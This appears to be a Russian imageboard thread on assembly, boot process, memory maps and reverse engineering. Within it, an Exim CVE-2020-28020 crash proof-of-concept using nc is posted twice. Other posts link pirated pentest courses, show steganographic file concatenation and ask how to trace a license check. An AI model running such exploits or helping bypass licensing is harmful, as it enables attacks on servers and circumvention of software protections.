Ну да короче. Assembly Language Step-By-Step - Programming with Linux, 3rd edition (Wiley, 2009, 0470497025)
я вот эту книгу читаю мне её здесь один анон посоветовал в ней всё и узнал, но это читать надо с самого начала без перерывов и пропусков. я не знаю как ты учишься, но хапать статьями в интернете это не лучшая стратегия по себе знаю.
я нацелен на Windows, но адекватной литературы на русском трудно найти( что не возьму либо не для начинающих либо не для начинающих
А есть такая же книга, но на русском? Я то я этот талмуд с моим уровнем англюсика буду читать полгода
чувствую себя я конечно прям как на пикче
но...
вот идёт выполнение программы по командам, счётчик команд инкрементируется... а тут вдрух хYiaK и без всяких джампов его отправляют что-то делать на деревню дедушке, а текущее состояние сохранить где-нибудь в стеке наверное, но это не точно и при этом ещё и контроллер прерываний задействуется а после ещё и обработчик прерываний который выполняет прерывание на процессоре, а после возвращает управление программе вызвавшей прерывание
Да. Копировать много мелких файлов куда медленее, нежели один большой. По множеству разных причин.
Но надо рассматривать ситуацию целиком. Сколько ты провозишься с архивом? Его надо создавать, копировать, распаковывать.
Может, быстрее и проще не заморачиваться, и подождать побольше, копируя мелкие файлы?
Если так хочется, можешь засечь время. Сколько займёт оба варианта.
Сап. Решил учить ассемблер по юричеву, но его книга начинается с какой-то неизвестной для меня терминологии. Какие-то стеки, в примерах инструкции которые я никогда в жизни не видел. ЧЗХ? Есть какой-то более интуитивно понятный гайд по реверсу программ?

1920x1080, 0:01
Спасибо
Всё разобрался. Спасибо
На жёстком диске обычно сразу с самого нулевого адреса начинается загрузочный код и он не может превышать 512 байт вроде.
На носителях не знаю, но думаю там подобное.
>>320780
Я тоже, но та книга очень хорошо раскрывает суть и алсо не обзяательно качать линукс и выполнять эти упражнения просто код автора посмотри и почитай вдумчиво мне уже этого хватает тчобы многие вещи понимать. Лучше ассемблер отдельно изучи, а windows русиновича почитай.
>>321010
Анон, я уже протестил. Файлы в архив запаковываются очень долго, но зато передаются они быстрее. Распаковываются они быстро. Чем больше архив тем больше шансов что он передасться со сбоями. Самый оптимальный размер для архива 4гб на мой взгляд, делить короче файлы на архивы по 4гб.
И да лучше архивами передавать чем мелкими фалами потому что ты заебёшься у всех них контрльную сумму считать, это надо спец по писать автизированное, а в архиве сразу чекнул сумму и всё. Поэтому передача по lan только архивами iso образами и т.д. для меня
>На жёстком диске обычно сразу с самого нулевого адреса начинается загрузочный код и он не может превышать 512 байт вроде.
>
На HDD - там сектора. MBR лежит в секторе 0. Как правило, сектора все по 512 байт. Но сейчас пошли HDD с секторами на 4 КБ (advanced format).
>>322295
>Файлы в архив запаковываются очень долго, но зато передаются они быстрее. Распаковываются они быстро. Чем больше архив тем больше шансов что он передасться со сбоями. Самый оптимальный размер для архива 4гб на мой взгляд, делить короче файлы на архивы по 4гб.
Данные долго запаковываются? Надеюсь, ты опцию Store включил, а не пытаешься их как-то сжать?
На мой взгляд, не стоит как-то париться с размерами архива, как-то бить их на размеры помельче. Если произойдёт ошибка передачи RAR архива с BLAKE2 контрольными суммами. Ты просто те файлики, что не удалось успешно распаковать, передай отдельно по сети. Сохрани протокол разархивации, все сообщения об ошибках. Хэш на весь архив считать не обязательно.
И не надо никакую сумму чекать. Говорю же - BLAKE2 вполне достаточно.
Спасибо, анон, просто я так как ньюфаня решил максимальн доступными для себя способами изучить. В изучении чего-то упрощение сперва помогает.
Архивацию с дефолтными настройками запускал так normal было, спасибо за фичу, буду знать чтобы без сжатия store работало.
Алсо, в след. раз сделаю с твоей функцией как ты советовал и попробую хуйнуть архив 28гб если там будут потери то передам отдельные файлы как ты советовал.
Короче в след. раз попробую архивы с методом store blake2
Засуну всё файлы в огромный архив таким способом под 30гб и посомтрим что из этого выйдет, спасибо анон, отпишусь как сделаю, просто щас нужды нет такие файлы гонять большие по сети пока что
Если ты не в курсе, загрузка с помощью MBR выглядела так:
BIOS считывает сектор 0 загрузочного диска в память по известному адресу. Процессор при этом находится в реальном 16-битном режиме. После этого, идёт команда безусловного перехода по адресу, лежащем в свежесчитанном секторе в памяти.
Ну и начинает исполняться код, который лежал в этом MBR.
Сектор 512 байт, и MBR ограничен этим размером.
Но код MBR в свою очередь, может считать ещё больше данных из других секторов.
Спасибо, анон пояснил хорошо, да читал когда-то но так поверхностно.
А мне вот интересно с uefi boot по всем гайдами для создания загрузочной флешки uefi нужно создавать отдельный раздел uefi который будет загрузочным и в нём будет лежать этот самый uefi загрузчик. То есть загрузочная флешка uefi через утилиту rufus делается на два раздела.
А вот если честно майкрософтвскую прогармму делать то выходит что флешка получается с одним разделом и она ещё может как uefi так и mbr грузится. Не знаешь как они так элегатно реализовали?
Я когда эксперимента ради писал свой собственный boot loader для mbr ну по образцу конечно, чтобы он тупо hello world вывел.
Помню ещё потому через программу открывал весь жд в 16 ричном представлении и вставлял туда код своего загрузчика(в самое начало жд)
>чтобы он тупо hello world вывел.
Ну если ты строку в риал-моде вывел, то такой себе бутлодер. Куда веселее kernel-image загрузить
посоветуйте программу для просмотра pe-файлов windows 10 64bit и чтоб по возможности все выводилось в синтаксисе masm я правильно выразился?
С ходу найти не получилось, где-то только для 32х разрядных систем/приложений, где-то синтаксис Fasm'а
в общем задача - прочитать исполняемый файл Hello World написанный на C/С++ под win32 x64
https://eternia.to/threads/penetration-testing-with-kali-linux-pwk-pen-200-2021.212356/
Ну вот, скачал part1, part2, part3 архивы. А там такая фигня:
---------------------------
Error
---------------------------
D:\Downloads\PenetrationTestingWithKaliLinuxPWK).part1.rar
The archive is either in unknown format or damaged
---------------------------
OK
---------------------------
Это какой то хитрый трюк чтобы правообладатель не залез в архив и можно как-то это исправить или всему пиздец?
Ссылочка на обход премиума: https://okdebrid.com/
>Yesterday at 11:28 AM
>archives are broken
>Yesterday at 11:45 AM
>fix it please
Видимо и правда битый архив если это не твои комменты
>если это не твои комменты
да, это я уже написал
заебали рукожопы которые даже упаковать нормально не в состоянии
видимо не судьба, ну и ладно, когда-нибудь сольют
Хотя блин вот тоже интересно, а как вообще можно неправильно запаковать? Что надо такое сделать с винраром чтобы он битый архив произвел. Ни разу такого не было.
Нашел такую вот штуковину https://mark0.net/soft-trid-e.html и вот что заметил.
Скачал 2 архива с двух разных файлообменников оба part1 и вроде одинаковые должны быть но ... не тут то было Вот залил их сюда: https://cloud.mail.ru/public/fphA/SFMWRY7G3
Попробовал Repair в WinRar и он выдал сообщение Unexpected End of Archive на обоих.
А TrID тем временем вообще говорит что один архив (тот который со скобкой в названии) это *.INI а второй Unknown. Че за пиздец тут происходит.

Многие могли слышать о таких файлах, как rarjpeg"и. Это особый вид файлов, представляющий собой склеенную вплотную jpeg-картинку и rar-архив. Он является прекрасным контейнером для скрытия факта передачи информации. Создать rarjpeg можно с помощью следующих команд:
UNIX: cat image1.jpg archive.rar > image2.jpg
WINDOWS: copy /b image1.jpg+archive.rar image2.jpg
Хмм ...
Пока что попробовал уже все что только можно. HEX редактором искал все возможные сигнатуры отсюдава и атсюдова:
https://habr.com/ru/company/infowatch/blog/337084/
https://en.wikipedia.org/wiki/List_of_file_signatures
В любом случае даже если в перспективе ничего не получится то положительные моменты есть. TIL что можно делать так (в linux):
> cat image.jpg archive.rar > output_archive.rar
или
> cat image.jpg archive.rar > output_image.jpg
и в этом случае output.rar и output.jpg соответсвенно, реально откроются и на винде и на linux. Неплохой такой способ сокрытия информации плюсом к стеганографии.
В винде попробовал аналог из PowerShell из говна и палок:
> get-content .\image.jpg,.\archive.rar | out-file output_archive.rar
ну и да, вы угадали, ни-ху-я не заработало, не открылось.
>>327975
>>327976
https://technet24.ir/pwk-2020-22770
Вот тут еще у иранцев какой-то PEN-200 лежит, но нужен акк с подпиской для загрузки - лениво искать
Если хочешь заморочиться, то достань сорцы unrar, посмотри на чтении какого поля он объебывается, забрутфорсь вненяемое значение, закомменть всякие проверки чексумм, чтобы хоть что-то да распаковалось.
Окей, будучи пориджом ты можешь не знать про https://www.win-rar.com/split-files-archive.html
Но то, что гугля окончания part* и rar, ты не смог ничего нагуглить, это уже хуево
Я все это гуглил и находил и знаю что такое part* архивы, не первый раз я их качаю, тупой ты еблан. И судя по тому что ты высрал, тупой пордиж здесь только ты, который попытался таким образом самоутвердиться видимо, но лишь обосрался. Иди нахуй.
Данную проблему это никак не решает. Архив есть битый.
Достаточно хотя бы даже на сигнатуры этих архивов посмотреть.
То на чём мы сейчас сидим это NT ядро который было написано вроде в начале 90ых годов. С каждым годом, с каждой новой версией оно росло, там наверное щас уже точно десятки миллионов строк кода если не сотни.
Если вы запустите на соверменном пк win 98(только запустите в режиме одногоядерного процессора) или win 2000 то вы охуеете с того как быстро они работают и сравните их с 10кой или 7кой. Просто раньше на более старом железе они казались медлеными. На самом деле они быстрее всех этих 7ок, 8ок и десяток, потому что кода в них разы меньше. Быстрота 7ки или 10ки обсуловлена в первую очередь прогрессом железа.
Однако годам эдак к 2010-2012ом производители железа выжали уже всё что можно в техническом плане. Выше 5 гигарец ты процессор не разгонишь, больше ядер не впихнёшь уже все технолгии микро-впихивания, разгона достигли предела по своим физическим параметрам. Именно этим объяснеется почему что раньше компьютер устаревал за 3-5 лет безнадёжно, а щас можно и на ноутбуке 2011го года вполне себе современные оси запускать и вполне комфортно.
Ну пока ещё выкручиваются, начали выдрачивать частоту оперативки, придумали вместо hdd ssd, потом это ssd придумали по pci epress шине подключать через nvme контролер вместе sata ну типа щас они играют тупо на то чтобы всё что последовательным доступом сделать устройствами произвольного доступа, и всё по максимуму впихнуть на самые быстрые шины которые известны. Но уже революицонных прорывов кои были в нулевые не будет. Ну и конечно везде повысить частоту до максимально возможной(5ггц)
Так вот я это к чему? А к тому что если раньше засирание осей кодом перекрывалось ростом мощности железа каждые 2-3 года, то после 2012го это прекратилось. И прозиводители осей видят это и начали изъёбываться, например винда 10 очень медленно включается и выключается, она не выключается и не включатся в традиционном смысле, она использует режим гибернации, то есть выводит пользователя из системы и сохраняет своё состояние на жд. Если вы её выключите реально комнадой shutdown /s то вы охуеете от того какая она долгая при выключении и самое главное включении, это уровень xp на китайском ноутбуке 2004го года выпуска.
В один момент на фоне этого всего производителям осей придётся взять и выкинуть всё легаси говно из них а то и вовсе написать с нуля. Это неизбежно.
С процессорами тоже самое я думаю что x86 основанные архитектуры умрут пока кто-то тупо не возьмёт и не создаст с нуля архитектуру без всякой этой легаси хуйни потому что "люди не купят если обратной совместимост не будет"
То на чём мы сейчас сидим это NT ядро который было написано вроде в начале 90ых годов. С каждым годом, с каждой новой версией оно росло, там наверное щас уже точно десятки миллионов строк кода если не сотни.
Если вы запустите на соверменном пк win 98(только запустите в режиме одногоядерного процессора) или win 2000 то вы охуеете с того как быстро они работают и сравните их с 10кой или 7кой. Просто раньше на более старом железе они казались медлеными. На самом деле они быстрее всех этих 7ок, 8ок и десяток, потому что кода в них разы меньше. Быстрота 7ки или 10ки обсуловлена в первую очередь прогрессом железа.
Однако годам эдак к 2010-2012ом производители железа выжали уже всё что можно в техническом плане. Выше 5 гигарец ты процессор не разгонишь, больше ядер не впихнёшь уже все технолгии микро-впихивания, разгона достигли предела по своим физическим параметрам. Именно этим объяснеется почему что раньше компьютер устаревал за 3-5 лет безнадёжно, а щас можно и на ноутбуке 2011го года вполне себе современные оси запускать и вполне комфортно.
Ну пока ещё выкручиваются, начали выдрачивать частоту оперативки, придумали вместо hdd ssd, потом это ssd придумали по pci epress шине подключать через nvme контролер вместе sata ну типа щас они играют тупо на то чтобы всё что последовательным доступом сделать устройствами произвольного доступа, и всё по максимуму впихнуть на самые быстрые шины которые известны. Но уже революицонных прорывов кои были в нулевые не будет. Ну и конечно везде повысить частоту до максимально возможной(5ггц)
Так вот я это к чему? А к тому что если раньше засирание осей кодом перекрывалось ростом мощности железа каждые 2-3 года, то после 2012го это прекратилось. И прозиводители осей видят это и начали изъёбываться, например винда 10 очень медленно включается и выключается, она не выключается и не включатся в традиционном смысле, она использует режим гибернации, то есть выводит пользователя из системы и сохраняет своё состояние на жд. Если вы её выключите реально комнадой shutdown /s то вы охуеете от того какая она долгая при выключении и самое главное включении, это уровень xp на китайском ноутбуке 2004го года выпуска.
В один момент на фоне этого всего производителям осей придётся взять и выкинуть всё легаси говно из них а то и вовсе написать с нуля. Это неизбежно.
С процессорами тоже самое я думаю что x86 основанные архитектуры умрут пока кто-то тупо не возьмёт и не создаст с нуля архитектуру без всякой этой легаси хуйни потому что "люди не купят если обратной совместимост не будет"
Ну типа вот в ассемблере я читал как обращаться по адресу в оператике, а к жёстком диске как это сделать? Ну бы утилиты всякие которые создают таблицы разделов, сами разделы, файловые системы там ведь явно что-то как-то реализовано. Помогите плиз.
Старые версии винды быстрее работают не оттого, что кода в них меньше. Количество кода не очень важно - важно качество.
Microsoft сочла возможным пренебречь оптимальностью кода по принципу хуяк-хуяк и в продакшен.
Я диву даюсь с того, что под Windows 7, когда открываешь в Explorer каталог с кучей файлов, насколько долго соображает комп, прежде чем показать всё содержимое. Под Windows XP та же папка с теми же файлами открывается мгновенно.
Процессоры никто с нуля архитектуры создавать не будет. Никому не надо. Уже существует в природе предостаточно крутых архитектур - бери и пользуйся. Вон, Apple взяла себе ARM архитектуру.
Единственно, изобретут какую-нибудь по-настоящему прорывную архитектуру будущего. Куда круче, чем все существующие. Вот это да, могут.
Собственно ядро Windows не занимает миллионы строк кода. Сама Windows да - занимает. И она росла в объёме. Но не ядро, которое настолько не выросло. Количество кода вообще не очень важно. Если его много, код просто лежит себе на жестком диске, есть не просит. По мере необходимости, подгружается то одна его часть, то другая.
Всё дело в экономии на разработке и разработчиках. Урезают бюджеты, сроки, нанимают разрабов потупее и подешевле. Тех, кто остался - заставляют писать всякое дерьмо, да побыстрее.
Не нужны творцы - нужны кодомакаки.
В реальном режиме процессора x86, вроде есть специальные прерывания, которые запускают соответствующие функции BIOS. Которые позволяют читать и записывать сектора диска.
Если ты под виндой, то открывай как файл \\.\PhysicalDrive0 Если под *nix, то /dev/sda или что там у тебя. Ты его хоть заммапить можешь и продолжать обращаться по адресам в оперативке.
>>336030
Ну ты бы еще с MS-DOS сравнил, там в консольке dir ой как быстро выполнится. Я понимаю тренд хаять современное ПО, но люди упускают из виду, что сегодняшнее ПО делает всего на порядок больше, чем 20 лет назад. Начиная от сглаженного рендеринга шрифтов, заканчивая генерацией превьюшек на лету. И памяти жрется не в пример больше не только потому что криворукие уебаны, а потому что дешевизна памяти меняет баланс сил: куда лучше, условно, за O(nlogn) времени+памяти сделать препроцессинг и затем за O(logn) выдать ответ, чем считать за O(n^2) но зато с O(1) памяти.
Знаю что в GCC есть ассемблер, мнемоники там с AT&T синтаксисом, больше ничего не знаю.
https://ru.wikipedia.org/wiki/GNU_Assembler
Если для себя, то можно поставить православный fasm - он ровно такой же, как и на винде. Но если контрибутить в опенсорс, то везде будет инопланетный AT&T, увы.
В сорцах любого компилятора. Возьми какую-нибудь игрушечную реализацию Scheme и смотри как она проход за проходом трансформируется в байткод. Или смотри как в C++ лямбды реализованы. Тащемта там ничего интересного нет: это обычное замыкание, которое тащит в себе контекст (похуй статический на захардкоженной структуре или динамический на хеш-мапе) и адрес функции (опять-таки похуй захардкоженный или в виртуальной таблице методов). Вот указатель на него в стек/регистр и кладется, а там уже caller знает как его вызывать. Другими словами, это все абстракция, процессору поебать на все эти first class хуйни, у него из first class регистры да память.
книгу "crafting interpreters" рекомендую
Чтобы написать дизассемблер, надо знать ассемблер.
Меня разрывает между пайтоном, плюсами и хачкелем. Сложно
Была даже тупая мысль сделать дизасм на асме
Асмоебы асмодеи, вопрос не к вам, но если вам хватило ума разобраться в этом вашем псевдоязыке, может что-то посоветуете. Есть сервер лицензий и лицензия для него в текстовике. Сервер как-то проверяет лицензию и при смене в ней хотя бы одной буквы, шлет строго нахуй. Как и чем можно отловить сам процесс проверки, если эта ебанина крутится поверх линукса? Помню со времен сосничества про IDA Pro и ArtMoney.
Сап, аноны. Есть проблема по УМПК-80, задание было такое: в регистре E введено число. Сосчитайте (1+2+3+...+Е):2, используя сдвиг вправо RRC (как известно, сдвиг вправо на 1 позицию равносилен делению на 2).
Никак не могу понять, что именно нужно делать.
Назрел вопрос поинтереснее — откуда в эльфах столько лишних неопределяемых секций? И как из них нормально вытащить инструкции, с учётом того, что для mov есть что-то с два десятка разных опкодов?
Да, мне лень читать спеки по эльфам, хочу чтобы человеческим языком объяснили
Как-то придётся. Потому что в x86 для мова действительно есть около двадцати опкодов, и я в упор не понимаю, чем они нахуй отличаются и зачем их столько надо
use16
org 0x7c00
start:
mov ax,0xAA99
jmp $
finish:
times 510+start-finish db 0
db 0x55,0xaa
> откуда в эльфах столько лишних неопределяемых секций
Што? Тебя на первых порах должна интересовать исключительно .text
> И как из них нормально вытащить инструкции
Парсишь файл http://www.skyfree.org/linux/references/ELF_Format.pdf, вытаскиваешь инструкции, дизассемблируешь по табличке.
> с учётом того, что для mov есть что-то с два десятка разных опкодов
Причем тут это вообще? Да хоть пятьдесят. Бери второй том Intel 64 and IA-32 Architectures Developer's Manual, находишь табличку где инструкции сопоставляются с байтами и меняешь строки с столбцами местами. Нахуй ты вообще за x86 взялся? Там же ни души, ни удовольствия. Пиши лучше дизассемблер к игрушкам под NES.
Так это курсач, вот и взялся
Я вытащил таблицу опкодов с какого-то всратого сайта в xml формате, и пытаюсь понять, как по человечески его распарсить. Ну и заодно как не затрахаться с тем, что есть префиксы, хуефиксы, лишние байты которые могут быть/не быть в инструкции
>И как из них нормально вытащить инструкции
Берёшь такой и без всяких сомнений побайтово декодируешь. В чём твоя проблема?
>в x86 для мова действительно есть около двадцати опкодов, и я в упор не понимаю, чем они нахуй отличаются и зачем их столько надо
Да как тебе это поможет, выделить секции-то?
В переменной длине клятых инструкций и неадекватном количестве разных версий одной и той же инструкции. Как мне учитывать такое количество разных операнд, все префиксы и лишние байты в середине инструкции, которые могут появиться потому что могут?
>ветвление
Спасибо нахуй
А вообще — мне бы сначала таблицу опкодов распарсить на клятом питоне
CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92)
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25
Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------
Сап, асмачь, скидди на связи!
Подскажи плиз, может что-то не понимаю, но где здесь unauthenticated? Какой почтовый сервак нынче разрешит RCPT TO без предварительной авторизации?
CVE-2020-28020 (unauthenticated RCE as "exim", in Exim < 4.92)
------------------------------------------------------------------------
Proof of concept
------------------------------------------------------------------------
(
sleep 10;
echo 'EHLO test';
sleep 3;
echo 'MAIL FROM:<>';
sleep 3;
echo 'RCPT TO:postmaster';
sleep 3;
echo 'DATA';
sleep 3;
printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:';
perl -e 'print "a" x 16384';
printf '\r\nvery_long_header:';
for ((i=0; i<64; i++)); do
echo "`date` $i" >&2;
perl -e 'print "\n" x 16777216';
done
) | nc -n -v 192.168.56.103 25
Program received signal SIGSEGV, Segmentation fault.
------------------------------------------------------------------------
Сап, асмачь, скидди на связи!
Подскажи плиз, может что-то не понимаю, но где здесь unauthenticated? Какой почтовый сервак нынче разрешит RCPT TO без предварительной авторизации?
> скидди на связи
Рака яиц тебе, уебище.
> разрешит RCPT TO без предварительной авторизации
Смысле не в том, что он разрешит, а в том, что наебнется при попытке распарсить запрос. И да, ты тредом ошибся.
Ты какой-то злой, няш..
>наебнется при попытке распарсить запрос
Отбив уже на этапе RCPT TO просто не даст ничего пихнуть в DATA.
А вообще забей, это сугубо особенность настройки экзима - всякие RFC советуют postmaster-у не выеживаться и принимать любые сообщения без проверок, но каждый админ локалхоста вправе составить свой особый ACL с пасьянсом и блудницами (хоть с проверкой EHLO, чтоб PTR твоего айпишника корректно резолвилась в указанное имя)

>data:10192CDC dword_10192CDC dd ?
Ну и можно посмотреть, в каких процедурах есть ссылки на эту (переменную, указатель? Или что это?)
Моя версия, что это указатель на предопределенное значение, которое содержится внутри бинарника в разделе данных и загружается в память по этому адресу. Но хотелось бы узнать точно и как понять, что там?
инб4: дурак куда ты лезешь
> А что означает когда в IDA дизасемблируешь или смотришь псевдо-код на C и встречаются символы вроде dword_10192CDC
Братан, ты не поверишь, но это двойное слово со значением 0x10192CDC из секции данных.
Начнём с того, что у нас сейчас многоядерные системы, обеспечивающие истинную многопоточность, так что дели количество одновременных потоков на количество логических ядер
Время, которое даётся процессу на исполнение до переключения, зависит от его приоритета, который можно выставить самому
Может и не совсем так, я вообще всего второй курс
Ну это как раз относительно понятно. Меня интересует практическая возможность определения окна непрерывного выполнения и пропихивания в него кода. Плавает ли это окно или достаточно стабильное. Поможет ли реалтайм приоритет стабилизировать его. Останавливает ли ядро потоки раньше времени для своих задач.
> Меня интересует практическая возможность определения окна непрерывного выполнения и пропихивания в него кода
Ты можешь из кернел спейса "запретить" прерывания. А по-другому вряд ли получится. Хотя возможно есть какие-нибудь прикольные флаг ядра линукса, с которыми можно собрать, чтобы поведение шедулера предсказуемым и отслеживаемым. Какая-нибудь дебаг сборка. Хотя сейчас буквально в современных процессорах встроена многопоточность с подархитектурами, то есть даже выполнение одной машинной инструкции может быть неатомарным. Хз можно ли это на уровне ядра ос заигнорировать.
Заниматься тулингом прерываний наверное действительно только с виртуализацией возможно.
Ты бы лучше написал в чем в принципе задача состоит, а не ходил вокруг да около
>в современных процессорах встроена многопоточность с подархитектурами
Кстати, а как планировщик детектирует переключение контекста гипертрединговых потоков одного ядра? Прерывание, ведь, не возбуждается. Может, как-то постфактум?
Т.К. прерывается всё ядро (т.е. все гипертреды ядра), думаю, кванты выдаются сдвоенными и переключения контекстов тоже делается сразу для обоих гипертредов. А планируется квант в предположении, что потребляться он будет поровну обоими гиперпотоками, видимо. Значит и все остальные механизмы планирования работают на таких сдвоенных потоках (приоритеты...). Я так думаю.
>возможность определения окна непрерывного выполнения и пропихивания в него кода
Думаю в Винде это невозможно, т.к. там вытесняющая многозадачность без каких-либо временнЫх гарантий для приложений.
Хз. Выяснять лень, хотя наверняка куча материала по этому есть
>прерывается всё ядро
Но у каждого гипертреда свой LAPIC. Поэтому планируются (почти) так-же как и обычные процессы.
Начни с читов для игр. Бери чит энджин, гидру и ебаш. Потом начинай патчи писать через инжект длл с новыми фичами/багфиксами. А потом уже сам придумаешь.
Есть виртуальные адреса если есть MMU, а есть физические. По виртуальным все, что угодно может быть, но обычно доступ к самым первым адресам приводит к ошибке - это сделано намеренно, чтобы было проще отлавливать баги (вроде разыменования нулевого указателя). По физическим зависит от платформы: на хуй86 туда обычно BIOS складывает свое говно, вроде векторов прерываний, а у какого-нибудь 6502 в NES первые 256 байт используются для локальных переменных, т.к. у него по сути всего два с половиной регистра. Читай https://en.wikipedia.org/wiki/Zero_page короче.
Первые адреса ОЗУ. Процессор не имеет дело с никакими "адресами ОЗУ".
Он имеет дело с т.н. адресным пространством памяти. На самом деле, это некая абстракция,
а не прям таки сплошь одно ОЗУ. Если мы говорим про физические адреса.
Железо материнской платы подключает по некоторому диапазону этих адресов оперативную память. Но впридачу, там в некоторых диапазонах может быть много что ещё подключено.
Например - обмен информацией с девайсами тоже может идти через это адресное пространство.
Вот да, информация ПЗУ тоже спроецирована на некоторый диапазон этого пространства.
Хрен его знает - что там в самых младших адресах физического адресного пространства памяти. В реальном режиме x86 - там вектора прерываний лежат.
я имею в виду когда комп стартует он же прошивку загружает наверное в озу?
>>361549
спасибо я так и думал что скорее всего в самом начале ссылки на процедуры биоса находятся
>>362207
спасибо понял. ну то есть адресное пространство это нечот более широкое чем лишь оперативная память. так выходит что мироксхема с прошивкой тоже свои адреса адреса по которым процик к ней обращается?
>это нечот более широкое чем лишь оперативная память
Да, эта штука - более широкая. Она используется далеко не только для хранения информации в ОЗУ.
Вот например, некоторые устройства имеют диапазон адресов памяти. И если ты записываешь информацию по какому-то адресу из этого диапазона - она отправляется прямо на устройство.
А если считываешь информацию - устройство тебе подгоняет данные.
Всё это обеспечивается работой чипсета материнской платы. Этот же чипсет - подключает информацию из ПЗУ в какой-то диапазон физических адресов.
Это физические адреса. А виртуальные адреса (виртуальное адресное пространство) - там средствами ОС, может быть спроецирован файл с диска, или ещё откуда-то на некоторый диапазон адресов. И чтение или запись по этим адресам приводит к чтению или записи в этот файл. Прямо в нужный его участок.
Даже хлеще - у тебя же работает виртуальная память, а значит та же ОС может не хранить непосредственно информацию из того или иного диапазона виртуальных адресов в физической памяти.
Она организует подкачку информации с диска.
Смотри так называемый Memory-mapped I/O
Ещё есть такая вещь, как Direct Memory Access, DMA.
Позволяет перекачивать информацию между устройствами и памятью без участия процессора.
Ещё можешь изучить карту памяти UMA.
Там увидишь, что есть диапазоны под ОЗУ, под ПЗУ, под обмен данными с устройствами
Спасибо большое анон, годное расписываешь. Теперь и отчасти назначение южных и северных мостов стало понятным.
Да я щас книгу читаю десятая глава уже Assembly Language Step-By-Step - Programming with Linux, 3rd edition (Wiley, 2009, 0470497025)
Пока до этого не дошёл. Только про модели работы с памятью(озу) сегментированые, защищённые читал. А вот про все устройства глобально пока нет. Надеюсь там это будет написано
А я всегда думал что вот когда ты включаешь пекарню и заходишь в меню прошивки то она наверное в озушечку загружается а щас понимаю что она загружается из пзу и все обращения происходят к пзу непосрсдественно, а не в озу. в пзу разве что ссылки на какие-то процедуры лежащие на прошивки для оси лежат.
Когда включаешь пекарню, включается чипсет, который обеспечивает проецирование ПЗУ в адресное пространство памяти процессора по известным адресам. Как впрочем, и подключает ОЗУ.
После этого, чипсет даёт отмашку центральному процессору на запуск. Тот начинает работу в реальном режиме с команды, расположенной на определённом известном адресе. Этот адрес намертво зашит в процессор, и никак не меняется никогда. По счастливому совпадению, по этому адресу чипсет спроецировал ПЗУ. Т.е. процессор исполнит команду, прошитую в ПЗУ. Получается, разработчик материнки может прошить ПЗУ по своему усмотрению, и процессор выполнит нужный код. Этот код занимается инициализацией оборудования.
Всё зависит от того, что именно разработчики материнки зашили в ПЗУ. Эти вещи, между прочим, никто не афиширует. Темна вода в облацеях. Чтобы понять, что там творится - это надо дизассемблировать прошивку, долго муторно её изучать. Кто этим занимается? Вряд ли наберётся много людей во всём мире.
Насколько знаю, часто код прошивки ПЗУ сам себя копирует в оперативную память. И продолжает исполнение оттуда. Просто потому, что так он работает шустрее. Но поначалу - да. Исполняется код прямо из ПЗУ.
Далее, в старые времена, происходил процесс запуска BIOS, который заканчивался переходом к загрузке операционной системы. С загрузочного диска считывался в ОЗУ самый начальный сектор, размещался по определённому адресу. И исполнение передавалось туда.
Т.е. всё дальше зависело от операционки.
Нынче, во времена UEFI, я не знаю как всё происходит. UEFI я ещё не изучал.
Я вам ещё скажу. Не знаю насчёт IBM PC, но в других компьютерах бывает, что процессор прямо в себе содержит ПЗУ, которое заложили его создатели. Оно совершенно секретное. После включения, процессор выполняет код, заложенный в этом ПЗУ. При этом, он даже не использует оперативную память компьютера! Вместо оперативной памяти, он использует собственную кэш-память, которая встроена прямо в процессор. Т.е. информация вообще никак этот процессор не покидает. Что там делает процессор - одному богу известно.
В принципе, возможно обновить прошивку ПЗУ, размещённую в процессоре. Однако, процессор эту прошивку обязательно проверяет на вшивость (с помощью цифровой подписи). И левую прошивку отторгает. Это означает, что только производитель процессора может выпустить прошивку для него.
Что можно добиться такими средствами? Насколько знаю, так в игровых консолях XBox можно проверять - подлинные ли DVD диски, с которых вы играете, или пиратские. Вроде, XBox ещё никто не взломал, не зачипировал.
Можно ещё применять всё это для того, чтобы шпионить за юзером. Какого-нибудь шпионского ПО. Для программных и аппаратных закладок.
Можно сделать так. В процессоре есть небольшой код, который проверяет установленную операционную систему на вшивость. Допустима ли она на этом компьютере? Не была ли она как-то модифицирована или взломана?
Там проверяется не вся ОС, а лишь та её небольшая часть, куда будет передаваться исполнение. Загрузчик ОС.
А уже сам загрузчик, если он правильный, дальше может проверить всё остальное.
Когда включаешь пекарню, включается чипсет, который обеспечивает проецирование ПЗУ в адресное пространство памяти процессора по известным адресам. Как впрочем, и подключает ОЗУ.
После этого, чипсет даёт отмашку центральному процессору на запуск. Тот начинает работу в реальном режиме с команды, расположенной на определённом известном адресе. Этот адрес намертво зашит в процессор, и никак не меняется никогда. По счастливому совпадению, по этому адресу чипсет спроецировал ПЗУ. Т.е. процессор исполнит команду, прошитую в ПЗУ. Получается, разработчик материнки может прошить ПЗУ по своему усмотрению, и процессор выполнит нужный код. Этот код занимается инициализацией оборудования.
Всё зависит от того, что именно разработчики материнки зашили в ПЗУ. Эти вещи, между прочим, никто не афиширует. Темна вода в облацеях. Чтобы понять, что там творится - это надо дизассемблировать прошивку, долго муторно её изучать. Кто этим занимается? Вряд ли наберётся много людей во всём мире.
Насколько знаю, часто код прошивки ПЗУ сам себя копирует в оперативную память. И продолжает исполнение оттуда. Просто потому, что так он работает шустрее. Но поначалу - да. Исполняется код прямо из ПЗУ.
Далее, в старые времена, происходил процесс запуска BIOS, который заканчивался переходом к загрузке операционной системы. С загрузочного диска считывался в ОЗУ самый начальный сектор, размещался по определённому адресу. И исполнение передавалось туда.
Т.е. всё дальше зависело от операционки.
Нынче, во времена UEFI, я не знаю как всё происходит. UEFI я ещё не изучал.
